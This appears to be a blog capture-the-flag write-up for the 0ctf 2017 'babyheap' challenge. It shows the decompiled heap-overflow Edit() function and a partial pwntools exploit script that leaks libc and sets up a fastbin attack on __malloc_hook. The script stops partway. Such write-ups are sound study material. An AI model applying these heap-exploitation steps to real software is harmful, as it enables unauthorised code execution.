Sunichi's Blog

sunichi@DUBHE | Linux & Pwn & Fuzz

0%

0ctf 2017 babyheap

This pwn is a classic heap pwn. In its Edit() function exits a heap overflow of arbitrarily write.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
__int64 __fastcall Edit(__int64 List)
{
__int64 Item; // rax
int v2; // [rsp+18h] [rbp-8h]
int len; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
Item = InputNum();
v2 = Item;
if ( (signed int)Item >= 0 && (signed int)Item <= 15 )
{
Item = *(unsigned int *)(24LL * (signed int)Item + List);
if ( (_DWORD)Item == 1 )
{
printf("Size: "); // overflow
Item = InputNum();
len = Item;
if ( (signed int)Item > 0 )
{
printf("Content: ");
Item = InputString(*(_QWORD *)(24LL * v2 + List + 16), len);
}
}
}
return Item;
}

Because the List(contains each block’s status, size and content’s pointer) is at random address, we cannot overflow and overwrite the List. So what I chose to do is to overflow the chunk to leak the libc information and perform fastbin attack.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def pwn():
p = process('./babyheap')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

gdb.attach(p, gdbscript='b *' + str(hex(0x555555554000 + 0x113d)))

Add(p, 0x60) #0
Add(p, 0x60) #1
Add(p, 0x60) #2
Add(p, 0x60) #3

Add(p, 0x80) #4
Add(p, 0x80) #5
Add(p, 0x200 - 0x90 - 0x10) #6
Add(p, 0x80) #7
Add(p, 0x80) #8
Edit(p, 4, 'a' * 0x88 + p64(0x201))
Delete(p, 5) #5
Add(p, 0x80) #5
recv = Show(p, 6)

libc_base_addr = u64(recv[0:8]) - 0x3c4b78
libc.address = libc_base_addr
print hex(libc.symbols['__malloc_hook'])
# chunk size 0x7f, ready for fastbin attack
fake_chunk = libc.symbols['__malloc_hook'] - 0x10 - 3